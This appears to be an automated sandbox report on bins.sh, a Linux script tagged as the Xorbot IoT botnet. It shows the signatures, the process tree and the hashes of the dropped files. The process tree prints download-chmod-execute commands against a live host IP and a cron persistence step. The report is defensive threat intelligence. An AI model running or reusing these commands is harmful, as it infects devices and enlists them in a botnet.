Analysis

  • max time kernel
    150s
  • max time network
    87s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 19:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0b5635532d2f1fa548c3a52df6cafeb3

  • SHA1

    28fad0a1c84fa6e72b1212c0ac1324440c690b1a

  • SHA256

    04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50

  • SHA512

    ce1b43efa4c05530b1e6cd86b6d02519bce2048be45bf0c61f59028ebd8a3aca058c4c3d827401cd1e5d5433ab3bc595204472266f880252124a1673e4e94ce7

  • SSDEEP

    192:oDuwScugogdt0DVY5BLMQIguwScugog3Z5BLMQw:oNaDVY5BLMQI45BLMQw

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Writes file to tmp directory
          PID:671
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          ./kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • File and Directory Permissions Modification
            PID:714
          • /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            ./ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
            • Executes dropped EXE
            PID:715
          • /bin/rm
            rm ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
            2⤵
              PID:719
            • /usr/bin/wget
              wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Writes file to tmp directory
              PID:720
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:726
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Writes file to tmp directory
              PID:733
            • /bin/chmod
              chmod 777 p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • File and Directory Permissions Modification
              PID:736
            • /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              ./p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
              • Executes dropped EXE
              PID:738
            • /bin/rm
              rm p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
              2⤵
                PID:740
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Writes file to tmp directory
                PID:742
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Writes file to tmp directory
                PID:761
              • /bin/chmod
                chmod 777 Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                ./Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:765
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:767
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:768
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:769
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:770
                  • /bin/rm
                    rm Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb
                    2⤵
                      PID:772
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                      2⤵
                        PID:775
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                        2⤵
                          PID:776
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                          2⤵
                          • Writes file to tmp directory
                          PID:777
                        • /bin/chmod
                          chmod 777 FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                          2⤵
                          • File and Directory Permissions Modification
                          PID:778
                        • /tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                          ./FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                          2⤵
                          • Executes dropped EXE
                          PID:779
                        • /bin/rm
                          rm FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK
                          2⤵
                            PID:781
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                            2⤵
                              PID:782
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                              2⤵
                                PID:783
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                                2⤵
                                • Writes file to tmp directory
                                PID:784
                              • /bin/chmod
                                chmod 777 pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                                2⤵
                                • File and Directory Permissions Modification
                                PID:790
                              • /tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                                ./pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                                2⤵
                                • Executes dropped EXE
                                PID:792
                              • /bin/rm
                                rm pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2
                                2⤵
                                  PID:794
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                  2⤵
                                    PID:795
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                    2⤵
                                      PID:796
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:799
                                    • /bin/chmod
                                      chmod 777 jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:806
                                    • /tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                      ./jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                      2⤵
                                      • Executes dropped EXE
                                      PID:807
                                    • /bin/rm
                                      rm jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO
                                      2⤵
                                        PID:809
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8
                                        2⤵
                                          PID:810

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

                                        Filesize

                                        177KB

                                        MD5

                                        786d75a158fe731feca3880f436082c0

                                        SHA1

                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                        SHA256

                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                        SHA512

                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                      • /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /var/spool/cron/crontabs/tmp.BpYP1b

                                        Filesize

                                        210B

                                        MD5

                                        bd1d08b58325226242bd91d2e3953c37

                                        SHA1

                                        76f6f09847fe9bd8ed78a128fcbc3e877d5d8039

                                        SHA256

                                        c6b1e7198745334f353bcb4966e529c3a5e5b974d5412d59d838740d8e1248eb

                                        SHA512

                                        1cce8b914679df660c1affeac5c0bfdc0ea8ff49d799867980497bca95d04efcf9fa881a64861c92855a43a3edb68a05a482324b247b9971f3c9b5d8546dd908